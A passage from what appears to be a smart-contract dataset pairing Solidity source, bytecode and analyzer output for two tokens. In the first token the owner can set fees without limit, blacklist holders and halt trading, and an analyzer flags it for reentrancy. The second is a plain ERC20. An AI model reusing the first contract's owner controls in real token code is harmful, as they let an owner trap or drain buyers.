uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b457600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b4d617374657220536869626160a01b60208201525b60405161023c9190611a28565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7d565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa9565b6106b5565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611aea565b61071e565b34801561037057600080fd5b506101fc61037f366004611b17565b610769565b34801561039057600080fd5b506101fc6107b1565b3480156103a557600080fd5b506102c46103b4366004611aea565b6107fc565b3480156103c557600080fd5b506101fc61081e565b3480156103da57600080fd5b506101fc6103e9366004611b32565b610892565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611aea565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b17565b6108c1565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600681526526a0a9aa22a960d11b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026561050f366004611a7d565b610976565b34801561052057600080fd5b5061026561052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c4610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b390c2706d896cfbed7248929cfa7928d8d58b6a918c0faa8d70a4ba5528f11564736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,455 |
0xc926598f780dfdb3fb11bfb2c142c9091d4bca55 | pragma solidity 0.5.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external;
}
contract YFIZFINANCE is StandardToken, Ownable {
string public constant name = "YFIZ.FINANCE";
string public constant symbol = "YFIZ";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 90000 * (10 ** uint256(decimals));
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData)
external
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, _extraData);
return true;
}
}
function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner {
ERC20(_tokenAddress).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063d493b9ac11610066578063d493b9ac1461057a578063d73dd623146105e8578063dd62ed3e1461064e578063f2fde38b146106c657610100565b80638da5cb5b1461038c57806395d89b41146103d6578063a9059cbb14610459578063cae9ca51146104bf57610100565b8063313ce567116100d3578063313ce56714610292578063378dc3dc146102b057806366188463146102ce57806370a082311461033457610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61070a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610743565b604051808215151515815260200191505060405180910390f35b6101f6610835565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b61029a610b5d565b6040518082815260200191505060405180910390f35b6102b8610b62565b6040518082815260200191505060405180910390f35b61031a600480360360408110156102e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6f565b604051808215151515815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e00565b6040518082815260200191505060405180910390f35b610394610e49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f